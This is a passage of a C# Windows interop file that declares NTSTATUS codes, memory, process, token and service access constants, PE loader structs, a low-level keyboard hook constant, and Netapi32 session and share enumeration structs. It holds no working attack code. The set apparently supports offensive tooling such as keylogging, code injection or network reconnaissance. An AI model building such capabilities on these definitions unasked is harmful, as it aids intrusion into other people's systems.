PortAlreadySet = 0xc0000048, 1432 | SectionNotImage = 0xc0000049, 1433 | SuspendCountExceeded = 0xc000004a, 1434 | ThreadIsTerminating = 0xc000004b, 1435 | BadWorkingSetLimit = 0xc000004c, 1436 | IncompatibleFileMap = 0xc000004d, 1437 | SectionProtection = 0xc000004e, 1438 | EasNotSupported = 0xc000004f, 1439 | EaTooLarge = 0xc0000050, 1440 | NonExistentEaEntry = 0xc0000051, 1441 | NoEasOnFile = 0xc0000052, 1442 | EaCorruptError = 0xc0000053, 1443 | FileLockConflict = 0xc0000054, 1444 | LockNotGranted = 0xc0000055, 1445 | DeletePending = 0xc0000056, 1446 | CtlFileNotSupported = 0xc0000057, 1447 | UnknownRevision = 0xc0000058, 1448 | RevisionMismatch = 0xc0000059, 1449 | InvalidOwner = 0xc000005a, 1450 | InvalidPrimaryGroup = 0xc000005b, 1451 | NoImpersonationToken = 0xc000005c, 1452 | CantDisableMandatory = 0xc000005d, 1453 | NoLogonServers = 0xc000005e, 1454 | NoSuchLogonSession = 0xc000005f, 1455 | NoSuchPrivilege = 0xc0000060, 1456 | PrivilegeNotHeld = 0xc0000061, 1457 | InvalidAccountName = 0xc0000062, 1458 | UserExists = 0xc0000063, 1459 | NoSuchUser = 0xc0000064, 1460 | GroupExists = 0xc0000065, 1461 | NoSuchGroup = 0xc0000066, 1462 | MemberInGroup = 0xc0000067, 1463 | MemberNotInGroup = 0xc0000068, 1464 | LastAdmin = 0xc0000069, 1465 | WrongPassword = 0xc000006a, 1466 | IllFormedPassword = 0xc000006b, 1467 | PasswordRestriction = 0xc000006c, 1468 | LogonFailure = 0xc000006d, 1469 | AccountRestriction = 0xc000006e, 1470 | InvalidLogonHours = 0xc000006f, 1471 | InvalidWorkstation = 0xc0000070, 1472 | PasswordExpired = 0xc0000071, 1473 | AccountDisabled = 0xc0000072, 1474 | NoneMapped = 0xc0000073, 1475 | TooManyLuidsRequested = 0xc0000074, 1476 | LuidsExhausted = 0xc0000075, 1477 | InvalidSubAuthority = 0xc0000076, 1478 | InvalidAcl = 0xc0000077, 1479 | InvalidSid = 0xc0000078, 1480 | InvalidSecurityDescr = 0xc0000079, 1481 | ProcedureNotFound = 0xc000007a, 1482 | InvalidImageFormat = 0xc000007b, 1483 | NoToken = 0xc000007c, 1484 | BadInheritanceAcl = 0xc000007d, 1485 | RangeNotLocked = 0xc000007e, 1486 | DiskFull = 0xc000007f, 1487 | ServerDisabled = 0xc0000080, 1488 | ServerNotDisabled = 0xc0000081, 1489 | TooManyGuidsRequested = 0xc0000082, 1490 | GuidsExhausted = 0xc0000083, 1491 | InvalidIdAuthority = 0xc0000084, 1492 | AgentsExhausted = 0xc0000085, 1493 | InvalidVolumeLabel = 0xc0000086, 1494 | SectionNotExtended = 0xc0000087, 1495 | NotMappedData = 0xc0000088, 1496 | ResourceDataNotFound = 0xc0000089, 1497 | ResourceTypeNotFound = 0xc000008a, 1498 | ResourceNameNotFound = 0xc000008b, 1499 | ArrayBoundsExceeded = 0xc000008c, 1500 | FloatDenormalOperand = 0xc000008d, 1501 | FloatDivideByZero = 0xc000008e, 1502 | FloatInexactResult = 0xc000008f, 1503 | FloatInvalidOperation = 0xc0000090, 1504 | FloatOverflow = 0xc0000091, 1505 | FloatStackCheck = 0xc0000092, 1506 | FloatUnderflow = 0xc0000093, 1507 | IntegerDivideByZero = 0xc0000094, 1508 | IntegerOverflow = 0xc0000095, 1509 | PrivilegedInstruction = 0xc0000096, 1510 | TooManyPagingFiles = 0xc0000097, 1511 | FileInvalid = 0xc0000098, 1512 | InsufficientResources = 0xc000009a, 1513 | InstanceNotAvailable = 0xc00000ab, 1514 | PipeNotAvailable = 0xc00000ac, 1515 | InvalidPipeState = 0xc00000ad, 1516 | PipeBusy = 0xc00000ae, 1517 | IllegalFunction = 0xc00000af, 1518 | PipeDisconnected = 0xc00000b0, 1519 | PipeClosing = 0xc00000b1, 1520 | PipeConnected = 0xc00000b2, 1521 | PipeListening = 0xc00000b3, 1522 | InvalidReadMode = 0xc00000b4, 1523 | IoTimeout = 0xc00000b5, 1524 | FileForcedClosed = 0xc00000b6, 1525 | ProfilingNotStarted = 0xc00000b7, 1526 | ProfilingNotStopped = 0xc00000b8, 1527 | NotSameDevice = 0xc00000d4, 1528 | FileRenamed = 0xc00000d5, 1529 | CantWait = 0xc00000d8, 1530 | PipeEmpty = 0xc00000d9, 1531 | CantTerminateSelf = 0xc00000db, 1532 | InternalError = 0xc00000e5, 1533 | InvalidParameter1 = 0xc00000ef, 1534 | InvalidParameter2 = 0xc00000f0, 1535 | InvalidParameter3 = 0xc00000f1, 1536 | InvalidParameter4 = 0xc00000f2, 1537 | InvalidParameter5 = 0xc00000f3, 1538 | InvalidParameter6 = 0xc00000f4, 1539 | InvalidParameter7 = 0xc00000f5, 1540 | InvalidParameter8 = 0xc00000f6, 1541 | InvalidParameter9 = 0xc00000f7, 1542 | InvalidParameter10 = 0xc00000f8, 1543 | InvalidParameter11 = 0xc00000f9, 1544 | InvalidParameter12 = 0xc00000fa, 1545 | ProcessIsTerminating = 0xc000010a, 1546 | MappedFileSizeZero = 0xc000011e, 1547 | TooManyOpenedFiles = 0xc000011f, 1548 | Cancelled = 0xc0000120, 1549 | CannotDelete = 0xc0000121, 1550 | InvalidComputerName = 0xc0000122, 1551 | FileDeleted = 0xc0000123, 1552 | SpecialAccount = 0xc0000124, 1553 | SpecialGroup = 0xc0000125, 1554 | SpecialUser = 0xc0000126, 1555 | MembersPrimaryGroup = 0xc0000127, 1556 | FileClosed = 0xc0000128, 1557 | TooManyThreads = 0xc0000129, 1558 | ThreadNotInProcess = 0xc000012a, 1559 | TokenAlreadyInUse = 0xc000012b, 1560 | PagefileQuotaExceeded = 0xc000012c, 1561 | CommitmentLimit = 0xc000012d, 1562 | InvalidImageLeFormat = 0xc000012e, 1563 | InvalidImageNotMz = 0xc000012f, 1564 | InvalidImageProtect = 0xc0000130, 1565 | InvalidImageWin16 = 0xc0000131, 1566 | LogonServer = 0xc0000132, 1567 | DifferenceAtDc = 0xc0000133, 1568 | SynchronizationRequired = 0xc0000134, 1569 | DllNotFound = 0xc0000135, 1570 | IoPrivilegeFailed = 0xc0000137, 1571 | OrdinalNotFound = 0xc0000138, 1572 | EntryPointNotFound = 0xc0000139, 1573 | ControlCExit = 0xc000013a, 1574 | InvalidAddress = 0xc0000141, 1575 | PortNotSet = 0xc0000353, 1576 | DebuggerInactive = 0xc0000354, 1577 | CallbackBypass = 0xc0000503, 1578 | PortClosed = 0xc0000700, 1579 | MessageLost = 0xc0000701, 1580 | InvalidMessage = 0xc0000702, 1581 | RequestCanceled = 0xc0000703, 1582 | RecursiveDispatch = 0xc0000704, 1583 | LpcReceiveBufferExpected = 0xc0000705, 1584 | LpcInvalidConnectionUsage = 0xc0000706, 1585 | LpcRequestsNotAllowed = 0xc0000707, 1586 | ResourceInUse = 0xc0000708, 1587 | ProcessIsProtected = 0xc0000712, 1588 | VolumeDirty = 0xc0000806, 1589 | FileCheckedOut = 0xc0000901, 1590 | CheckOutRequired = 0xc0000902, 1591 | BadFileType = 0xc0000903, 1592 | FileTooLarge = 0xc0000904, 1593 | FormsAuthRequired = 0xc0000905, 1594 | VirusInfected = 0xc0000906, 1595 | VirusDeleted = 0xc0000907, 1596 | TransactionalConflict = 0xc0190001, 1597 | InvalidTransaction = 0xc0190002, 1598 | TransactionNotActive = 0xc0190003, 1599 | TmInitializationFailed = 0xc0190004, 1600 | RmNotActive = 0xc0190005, 1601 | RmMetadataCorrupt = 0xc0190006, 1602 | TransactionNotJoined = 0xc0190007, 1603 | DirectoryNotRm = 0xc0190008, 1604 | CouldNotResizeLog = 0xc0190009, 1605 | TransactionsUnsupportedRemote = 0xc019000a, 1606 | LogResizeInvalidSize = 0xc019000b, 1607 | RemoteFileVersionMismatch = 0xc019000c, 1608 | CrmProtocolAlreadyExists = 0xc019000f, 1609 | TransactionPropagationFailed = 0xc0190010, 1610 | CrmProtocolNotFound = 0xc0190011, 1611 | TransactionSuperiorExists = 0xc0190012, 1612 | TransactionRequestNotValid = 0xc0190013, 1613 | TransactionNotRequested = 0xc0190014, 1614 | TransactionAlreadyAborted = 0xc0190015, 1615 | TransactionAlreadyCommitted = 0xc0190016, 1616 | TransactionInvalidMarshallBuffer = 0xc0190017, 1617 | CurrentTransactionNotValid = 0xc0190018, 1618 | LogGrowthFailed = 0xc0190019, 1619 | ObjectNoLongerExists = 0xc0190021, 1620 | StreamMiniversionNotFound = 0xc0190022, 1621 | StreamMiniversionNotValid = 0xc0190023, 1622 | MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024, 1623 | CantOpenMiniversionWithModifyIntent = 0xc0190025, 1624 | CantCreateMoreStreamMiniversions = 0xc0190026, 1625 | HandleNoLongerValid = 0xc0190028, 1626 | NoTxfMetadata = 0xc0190029, 1627 | LogCorruptionDetected = 0xc0190030, 1628 | CantRecoverWithHandleOpen = 0xc0190031, 1629 | RmDisconnected = 0xc0190032, 1630 | EnlistmentNotSuperior = 0xc0190033, 1631 | RecoveryNotNeeded = 0xc0190034, 1632 | RmAlreadyStarted = 0xc0190035, 1633 | FileIdentityNotPersistent = 0xc0190036, 1634 | CantBreakTransactionalDependency = 0xc0190037, 1635 | CantCrossRmBoundary = 0xc0190038, 1636 | TxfDirNotEmpty = 0xc0190039, 1637 | IndoubtTransactionsExist = 0xc019003a, 1638 | TmVolatile = 0xc019003b, 1639 | RollbackTimerExpired = 0xc019003c, 1640 | TxfAttributeCorrupt = 0xc019003d, 1641 | EfsNotAllowedInTransaction = 0xc019003e, 1642 | TransactionalOpenNotAllowed = 0xc019003f, 1643 | TransactedMappingUnsupportedRemote = 0xc0190040, 1644 | TxfMetadataAlreadyPresent = 0xc0190041, 1645 | TransactionScopeCallbacksNotSet = 0xc0190042, 1646 | TransactionRequiredPromotion = 0xc0190043, 1647 | CannotExecuteFileInTransaction = 0xc0190044, 1648 | TransactionsNotFrozen = 0xc0190045, 1649 | 1650 | MaximumNtStatus = 0xffffffff 1651 | } 1652 | } 1653 | 1654 | public static class Win32 1655 | { 1656 | public static class Kernel32 1657 | { 1658 | public static uint MEM_COMMIT = 0x1000; 1659 | public static uint MEM_RESERVE = 0x2000; 1660 | public static uint MEM_RESET = 0x80000; 1661 | public static uint MEM_RESET_UNDO = 0x1000000; 1662 | public static uint MEM_LARGE_PAGES = 0x20000000; 1663 | public static uint MEM_PHYSICAL = 0x400000; 1664 | public static uint MEM_TOP_DOWN = 0x100000; 1665 | public static uint MEM_WRITE_WATCH = 0x200000; 1666 | public static uint MEM_COALESCE_PLACEHOLDERS = 0x1; 1667 | public static uint MEM_PRESERVE_PLACEHOLDER = 0x2; 1668 | public static uint MEM_DECOMMIT = 0x4000; 1669 | public static uint MEM_RELEASE = 0x8000; 1670 | 1671 | [StructLayout(LayoutKind.Sequential)] 1672 | public struct IMAGE_BASE_RELOCATION 1673 | { 1674 | public uint VirtualAdress; 1675 | public uint SizeOfBlock; 1676 | } 1677 | 1678 | [StructLayout(LayoutKind.Sequential)] 1679 | public struct IMAGE_IMPORT_DESCRIPTOR 1680 | { 1681 | public uint OriginalFirstThunk; 1682 | public uint TimeDateStamp; 1683 | public uint ForwarderChain; 1684 | public uint Name; 1685 | public uint FirstThunk; 1686 | } 1687 | 1688 | public struct SYSTEM_INFO 1689 | { 1690 | public ushort wProcessorArchitecture; 1691 | public ushort wReserved; 1692 | public uint dwPageSize; 1693 | public IntPtr lpMinimumApplicationAddress; 1694 | public IntPtr lpMaximumApplicationAddress; 1695 | public UIntPtr dwActiveProcessorMask; 1696 | public uint dwNumberOfProcessors; 1697 | public uint dwProcessorType; 1698 | public uint dwAllocationGranularity; 1699 | public ushort wProcessorLevel; 1700 | public ushort wProcessorRevision; 1701 | }; 1702 | 1703 | public enum Platform 1704 | { 1705 | x86, 1706 | x64, 1707 | IA64, 1708 | Unknown 1709 | } 1710 | 1711 | [Flags] 1712 | public enum ProcessAccessFlags : UInt32 1713 | { 1714 | // https://msdn.microsoft.com/en-us/library/windows/desktop/ms684880%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396 1715 | PROCESS_ALL_ACCESS = 0x001F0FFF, 1716 | PROCESS_CREATE_PROCESS = 0x0080, 1717 | PROCESS_CREATE_THREAD = 0x0002, 1718 | PROCESS_DUP_HANDLE = 0x0040, 1719 | PROCESS_QUERY_INFORMATION = 0x0400, 1720 | PROCESS_QUERY_LIMITED_INFORMATION = 0x1000, 1721 | PROCESS_SET_INFORMATION = 0x0200, 1722 | PROCESS_SET_QUOTA = 0x0100, 1723 | PROCESS_SUSPEND_RESUME = 0x0800, 1724 | PROCESS_TERMINATE = 0x0001, 1725 | PROCESS_VM_OPERATION = 0x0008, 1726 | PROCESS_VM_READ = 0x0010, 1727 | PROCESS_VM_WRITE = 0x0020, 1728 | SYNCHRONIZE = 0x00100000 1729 | } 1730 | 1731 | [Flags] 1732 | public enum FileAccessFlags : UInt32 1733 | { 1734 | DELETE = 0x10000, 1735 | FILE_READ_DATA = 0x1, 1736 | FILE_READ_ATTRIBUTES = 0x80, 1737 | FILE_READ_EA = 0x8, 1738 | READ_CONTROL = 0x20000, 1739 | FILE_WRITE_DATA = 0x2, 1740 | FILE_WRITE_ATTRIBUTES = 0x100, 1741 | FILE_WRITE_EA = 0x10, 1742 | FILE_APPEND_DATA = 0x4, 1743 | WRITE_DAC = 0x40000, 1744 | WRITE_OWNER = 0x80000, 1745 | SYNCHRONIZE = 0x100000, 1746 | FILE_EXECUTE = 0x20 1747 | } 1748 | 1749 | [Flags] 1750 | public enum FileShareFlags : UInt32 1751 | { 1752 | FILE_SHARE_NONE = 0x0, 1753 | FILE_SHARE_READ = 0x1, 1754 | FILE_SHARE_WRITE = 0x2, 1755 | FILE_SHARE_DELETE = 0x4 1756 | } 1757 | 1758 | [Flags] 1759 | public enum FileOpenFlags : UInt32 1760 | { 1761 | FILE_DIRECTORY_FILE = 0x1, 1762 | FILE_WRITE_THROUGH = 0x2, 1763 | FILE_SEQUENTIAL_ONLY = 0x4, 1764 | FILE_NO_INTERMEDIATE_BUFFERING = 0x8, 1765 | FILE_SYNCHRONOUS_IO_ALERT = 0x10, 1766 | FILE_SYNCHRONOUS_IO_NONALERT = 0x20, 1767 | FILE_NON_DIRECTORY_FILE = 0x40, 1768 | FILE_CREATE_TREE_CONNECTION = 0x80, 1769 | FILE_COMPLETE_IF_OPLOCKED = 0x100, 1770 | FILE_NO_EA_KNOWLEDGE = 0x200, 1771 | FILE_OPEN_FOR_RECOVERY = 0x400, 1772 | FILE_RANDOM_ACCESS = 0x800, 1773 | FILE_DELETE_ON_CLOSE = 0x1000, 1774 | FILE_OPEN_BY_FILE_ID = 0x2000, 1775 | FILE_OPEN_FOR_BACKUP_INTENT = 0x4000, 1776 | FILE_NO_COMPRESSION = 0x8000 1777 | } 1778 | 1779 | [Flags] 1780 | public enum StandardRights : uint 1781 | { 1782 | Delete = 0x00010000, 1783 | ReadControl = 0x00020000, 1784 | WriteDac = 0x00040000, 1785 | WriteOwner = 0x00080000, 1786 | Synchronize = 0x00100000, 1787 | Required = 0x000f0000, 1788 | Read = ReadControl, 1789 | Write = ReadControl, 1790 | Execute = ReadControl, 1791 | All = 0x001f0000, 1792 | 1793 | SpecificRightsAll = 0x0000ffff, 1794 | AccessSystemSecurity = 0x01000000, 1795 | MaximumAllowed = 0x02000000, 1796 | GenericRead = 0x80000000, 1797 | GenericWrite = 0x40000000, 1798 | GenericExecute = 0x20000000, 1799 | GenericAll = 0x10000000 1800 | } 1801 | 1802 | [Flags] 1803 | public enum ThreadAccess : uint 1804 | { 1805 | Terminate = 0x0001, 1806 | SuspendResume = 0x0002, 1807 | Alert = 0x0004, 1808 | GetContext = 0x0008, 1809 | SetContext = 0x0010, 1810 | SetInformation = 0x0020, 1811 | QueryInformation = 0x0040, 1812 | SetThreadToken = 0x0080, 1813 | Impersonate = 0x0100, 1814 | DirectImpersonation = 0x0200, 1815 | SetLimitedInformation = 0x0400, 1816 | QueryLimitedInformation = 0x0800, 1817 | All = StandardRights.Required | StandardRights.Synchronize | 0x3ff 1818 | } 1819 | } 1820 | 1821 | public static class User32 1822 | { 1823 | public static int WH_KEYBOARD_LL { get; } = 13; 1824 | public static int WM_KEYDOWN { get; } = 0x0100; 1825 | 1826 | public delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam); 1827 | } 1828 | 1829 | public static class Netapi32 1830 | { 1831 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 1832 | public struct LOCALGROUP_USERS_INFO_0 1833 | { 1834 | [MarshalAs(UnmanagedType.LPWStr)] internal string name; 1835 | } 1836 | 1837 | [StructLayout(LayoutKind.Sequential)] 1838 | public struct LOCALGROUP_USERS_INFO_1 1839 | { 1840 | [MarshalAs(UnmanagedType.LPWStr)] public string name; 1841 | [MarshalAs(UnmanagedType.LPWStr)] public string comment; 1842 | } 1843 | 1844 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 1845 | public struct LOCALGROUP_MEMBERS_INFO_2 1846 | { 1847 | public IntPtr lgrmi2_sid; 1848 | public int lgrmi2_sidusage; 1849 | [MarshalAs(UnmanagedType.LPWStr)] public string lgrmi2_domainandname; 1850 | } 1851 | 1852 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 1853 | public struct WKSTA_USER_INFO_1 1854 | { 1855 | public string wkui1_username; 1856 | public string wkui1_logon_domain; 1857 | public string wkui1_oth_domains; 1858 | public string wkui1_logon_server; 1859 | } 1860 | 1861 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 1862 | public struct SESSION_INFO_10 1863 | { 1864 | public string sesi10_cname; 1865 | public string sesi10_username; 1866 | public int sesi10_time; 1867 | public int sesi10_idle_time; 1868 | } 1869 | 1870 | public enum SID_NAME_USE : UInt16 1871 | { 1872 | SidTypeUser = 1, 1873 | SidTypeGroup = 2, 1874 | SidTypeDomain = 3, 1875 | SidTypeAlias = 4, 1876 | SidTypeWellKnownGroup = 5, 1877 | SidTypeDeletedAccount = 6, 1878 | SidTypeInvalid = 7, 1879 | SidTypeUnknown = 8, 1880 | SidTypeComputer = 9 1881 | } 1882 | 1883 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 1884 | public struct SHARE_INFO_1 1885 | { 1886 | public string shi1_netname; 1887 | public uint shi1_type; 1888 | public string shi1_remark; 1889 | 1890 | public SHARE_INFO_1(string netname, uint type, string remark) 1891 | { 1892 | this.shi1_netname = netname; 1893 | this.shi1_type = type; 1894 | this.shi1_remark = remark; 1895 | } 1896 | } 1897 | } 1898 | 1899 | public static class Advapi32 1900 | { 1901 | 1902 | // http://www.pinvoke.net/default.aspx/advapi32.openprocesstoken 1903 | public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000; 1904 | public const UInt32 STANDARD_RIGHTS_READ = 0x00020000; 1905 | public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001; 1906 | public const UInt32 TOKEN_DUPLICATE = 0x0002; 1907 | public const UInt32 TOKEN_IMPERSONATE = 0x0004; 1908 | public const UInt32 TOKEN_QUERY = 0x0008; 1909 | public const UInt32 TOKEN_QUERY_SOURCE = 0x0010; 1910 | public const UInt32 TOKEN_ADJUST_PRIVILEGES = 0x0020; 1911 | public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040; 1912 | public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080; 1913 | public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100; 1914 | public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY); 1915 | public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | 1916 | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | 1917 | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | 1918 | TOKEN_ADJUST_SESSIONID); 1919 | public const UInt32 TOKEN_ALT = (TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY); 1920 | 1921 | // https://msdn.microsoft.com/en-us/library/windows/desktop/ms682434(v=vs.85).aspx 1922 | [Flags] 1923 | public enum CREATION_FLAGS : uint 1924 | { 1925 | NONE = 0x00000000, 1926 | DEBUG_PROCESS = 0x00000001, 1927 | DEBUG_ONLY_THIS_PROCESS = 0x00000002, 1928 | CREATE_SUSPENDED = 0x00000004, 1929 | DETACHED_PROCESS = 0x00000008, 1930 | CREATE_NEW_CONSOLE = 0x00000010, 1931 | NORMAL_PRIORITY_CLASS = 0x00000020, 1932 | IDLE_PRIORITY_CLASS = 0x00000040, 1933 | HIGH_PRIORITY_CLASS = 0x00000080, 1934 | REALTIME_PRIORITY_CLASS = 0x00000100, 1935 | CREATE_NEW_PROCESS_GROUP = 0x00000200, 1936 | CREATE_UNICODE_ENVIRONMENT = 0x00000400, 1937 | CREATE_SEPARATE_WOW_VDM = 0x00000800, 1938 | CREATE_SHARED_WOW_VDM = 0x00001000, 1939 | CREATE_FORCEDOS = 0x00002000, 1940 | BELOW_NORMAL_PRIORITY_CLASS = 0x00004000, 1941 | ABOVE_NORMAL_PRIORITY_CLASS = 0x00008000, 1942 | INHERIT_PARENT_AFFINITY = 0x00010000, 1943 | INHERIT_CALLER_PRIORITY = 0x00020000, 1944 | CREATE_PROTECTED_PROCESS = 0x00040000, 1945 | EXTENDED_STARTUPINFO_PRESENT = 0x00080000, 1946 | PROCESS_MODE_BACKGROUND_BEGIN = 0x00100000, 1947 | PROCESS_MODE_BACKGROUND_END = 0x00200000, 1948 | CREATE_BREAKAWAY_FROM_JOB = 0x01000000, 1949 | CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000, 1950 | CREATE_DEFAULT_ERROR_MODE = 0x04000000, 1951 | CREATE_NO_WINDOW = 0x08000000, 1952 | PROFILE_USER = 0x10000000, 1953 | PROFILE_KERNEL = 0x20000000, 1954 | PROFILE_SERVER = 0x40000000, 1955 | CREATE_IGNORE_SYSTEM_DEFAULT = 0x80000000 1956 | } 1957 | 1958 | [Flags] 1959 | public enum LOGON_FLAGS 1960 | { 1961 | NONE = 0x00000000, 1962 | LOGON_WITH_PROFILE = 0x00000001, 1963 | LOGON_NETCREDENTIALS_ONLY = 0x00000002 1964 | } 1965 | 1966 | public enum LOGON_TYPE 1967 | { 1968 | LOGON32_LOGON_INTERACTIVE = 2, 1969 | LOGON32_LOGON_NETWORK, 1970 | LOGON32_LOGON_BATCH, 1971 | LOGON32_LOGON_SERVICE, 1972 | LOGON32_LOGON_UNLOCK = 7, 1973 | LOGON32_LOGON_NETWORK_CLEARTEXT, 1974 | LOGON32_LOGON_NEW_CREDENTIALS 1975 | } 1976 | 1977 | public enum LOGON_PROVIDER 1978 | { 1979 | LOGON32_PROVIDER_DEFAULT, 1980 | LOGON32_PROVIDER_WINNT35, 1981 | LOGON32_PROVIDER_WINNT40, 1982 | LOGON32_PROVIDER_WINNT50 1983 | } 1984 | 1985 | [Flags] 1986 | public enum SCM_ACCESS : uint 1987 | { 1988 | SC_MANAGER_CONNECT = 0x00001, 1989 | SC_MANAGER_CREATE_SERVICE = 0x00002, 1990 | SC_MANAGER_ENUMERATE_SERVICE = 0x00004, 1991 | SC_MANAGER_LOCK = 0x00008, 1992 | SC_MANAGER_QUERY_LOCK_STATUS = 0x00010, 1993 | SC_MANAGER_MODIFY_BOOT_CONFIG = 0x00020, 1994 | 1995 | SC_MANAGER_ALL_ACCESS = ACCESS_MASK.STANDARD_RIGHTS_REQUIRED | 1996 | SC_MANAGER_CONNECT | 1997 | SC_MANAGER_CREATE_SERVICE | 1998 | SC_MANAGER_ENUMERATE_SERVICE | 1999 | SC_MANAGER_LOCK | 2000 | SC_MANAGER_QUERY_LOCK_STATUS | 2001 | SC_MANAGER_MODIFY_BOOT_CONFIG, 2002 | 2003 | GENERIC_READ = ACCESS_MASK.STANDARD_RIGHTS_READ | 2004 | SC_MANAGER_ENUMERATE_SERVICE | 2005 | SC_MANAGER_QUERY_LOCK_STATUS, 2006 | 2007 | GENERIC_WRITE = ACCESS_MASK.STANDARD_RIGHTS_WRITE | 2008 | SC_MANAGER_CREATE_SERVICE | 2009 | SC_MANAGER_MODIFY_BOOT_CONFIG, 2010 | 2011 | GENERIC_EXECUTE = ACCESS_MASK.STANDARD_RIGHTS_EXECUTE | 2012 | SC_MANAGER_CONNECT | SC_MANAGER_LOCK, 2013 | 2014 | GENERIC_ALL = SC_MANAGER_ALL_ACCESS, 2015 | } 2016 | 2017 | [Flags] 2018 | public enum ACCESS_MASK : uint 2019 | { 2020 | DELETE = 0x00010000, 2021 | READ_CONTROL = 0x00020000, 2022 | WRITE_DAC = 0x00040000, 2023 | WRITE_OWNER = 0x00080000, 2024 | SYNCHRONIZE = 0x00100000, 2025 | STANDARD_RIGHTS_REQUIRED = 0x000F0000, 2026 | STANDARD_RIGHTS_READ = 0x00020000, 2027 | STANDARD_RIGHTS_WRITE = 0x00020000, 2028 | STANDARD_RIGHTS_EXECUTE = 0x00020000, 2029 | STANDARD_RIGHTS_ALL = 0x001F0000, 2030 | SPECIFIC_RIGHTS_ALL = 0x0000FFFF, 2031 | ACCESS_SYSTEM_SECURITY = 0x01000000, 2032 | MAXIMUM_ALLOWED = 0x02000000, 2033 | GENERIC_READ = 0x80000000, 2034 | GENERIC_WRITE = 0x40000000, 2035 | GENERIC_EXECUTE = 0x20000000, 2036 | GENERIC_ALL = 0x10000000, 2037 | DESKTOP_READOBJECTS = 0x00000001, 2038 | DESKTOP_CREATEWINDOW = 0x00000002, 2039 | DESKTOP_CREATEMENU = 0x00000004, 2040 | DESKTOP_HOOKCONTROL = 0x00000008, 2041 | DESKTOP_JOURNALRECORD = 0x00000010, 2042 | DESKTOP_JOURNALPLAYBACK = 0x00000020, 2043 | DESKTOP_ENUMERATE = 0x00000040, 2044 | DESKTOP_WRITEOBJECTS = 0x00000080, 2045 | DESKTOP_SWITCHDESKTOP = 0x00000100, 2046 | WINSTA_ENUMDESKTOPS = 0x00000001, 2047 | WINSTA_READATTRIBUTES = 0x00000002, 2048 | WINSTA_ACCESSCLIPBOARD = 0x00000004, 2049 | WINSTA_CREATEDESKTOP = 0x00000008, 2050 | WINSTA_WRITEATTRIBUTES = 0x00000010, 2051 | WINSTA_ACCESSGLOBALATOMS = 0x00000020, 2052 | WINSTA_EXITWINDOWS = 0x00000040, 2053 | WINSTA_ENUMERATE = 0x00000100, 2054 | WINSTA_READSCREEN = 0x00000200, 2055 | WINSTA_ALL_ACCESS = 0x0000037F 2056 | } 2057 | 2058 | [Flags] 2059 | public enum SERVICE_ACCESS : uint 2060 | { 2061 | SERVICE_QUERY_CONFIG = 0x00001, 2062 | SERVICE_CHANGE_CONFIG = 0x00002, 2063 | SERVICE_QUERY_STATUS = 0x00004, 2064 | SERVICE_ENUMERATE_DEPENDENTS = 0x00008, 2065 | SERVICE_START = 0x00010, 2066 | SERVICE_STOP = 0x00020, 2067 | SERVICE_PAUSE_CONTINUE = 0x00040, 2068 | SERVICE_INTERROGATE = 0x00080, 2069 | SERVICE_USER_DEFINED_CONTROL = 0x00100, 2070 | 2071 | SERVICE_ALL_ACCESS = (ACCESS_MASK.STANDARD_RIGHTS_REQUIRED | 2072 | SERVICE_QUERY_CONFIG | 2073 | SERVICE_CHANGE_CONFIG | 2074 | SERVICE_QUERY_STATUS | 2075 | SERVICE_ENUMERATE_DEPENDENTS | 2076 | SERVICE_START | 2077 | SERVICE_STOP | 2078 | SERVICE_PAUSE_CONTINUE | 2079 | SERVICE_INTERROGATE | 2080 | SERVICE_USER_DEFINED_CONTROL), 2081 | 2082 | GENERIC_READ = ACCESS_MASK.STANDARD_RIGHTS_READ | 2083 | SERVICE_QUERY_CONFIG | 2084 | SERVICE_QUERY_STATUS | 2085 | SERVICE_INTERROGATE | 2086 | SERVICE_ENUMERATE_DEPENDENTS, 2087 | 2088 | GENERIC_WRITE = ACCESS_MASK.STANDARD_RIGHTS_WRITE | 2089 | SERVICE_CHANGE_CONFIG, 2090 | 2091 | GENERIC_EXECUTE = ACCESS_MASK.STANDARD_RIGHTS_EXECUTE | 2092 | SERVICE_START | 2093 | SERVICE_STOP | 2094 | SERVICE_PAUSE_CONTINUE | 2095 | SERVICE_USER_DEFINED_CONTROL, 2096 | 2097 | ACCESS_SYSTEM_SECURITY = ACCESS_MASK.ACCESS_SYSTEM_SECURITY, 2098 | DELETE = ACCESS_MASK.DELETE, 2099 | READ_CONTROL = ACCESS_MASK.READ_CONTROL, 2100 | WRITE_DAC = ACCESS_MASK.WRITE_DAC, 2101 | WRITE_OWNER = ACCESS_MASK.WRITE_OWNER, 2102 | } 2103 | 2104 | [Flags] 2105 | public enum SERVICE_TYPE : uint 2106 | { 2107 | SERVICE_KERNEL_DRIVER = 0x00000001, 2108 | SERVICE_FILE_SYSTEM_DRIVER = 0x00000002, 2109 | SERVICE_WIN32_OWN_PROCESS = 0x00000010, 2110 | SERVICE_WIN32_SHARE_PROCESS = 0x00000020, 2111 | SERVICE_INTERACTIVE_PROCESS = 0x00000100, 2112 | } 2113 | 2114 | public enum SERVICE_START : uint 2115 | { 2116 | SERVICE_BOOT_START = 0x00000000, 2117 | SERVICE_SYSTEM_START = 0x00000001, 2118 | SERVICE_AUTO_START = 0x00000002, 2119 | SERVICE_DEMAND_START = 0x00000003, 2120 | SERVICE_DISABLED = 0x00000004, 2121 | } 2122 | 2123 | public enum SERVICE_ERROR 